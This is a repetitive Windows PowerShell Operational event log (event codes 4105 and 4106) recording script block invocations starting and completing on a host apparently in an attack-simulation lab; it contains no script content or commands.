OpCode=On create calls
RecordNumber=2045280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045277
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045275
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045274
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045258
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045257
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045252
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045251
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045229
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045227
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
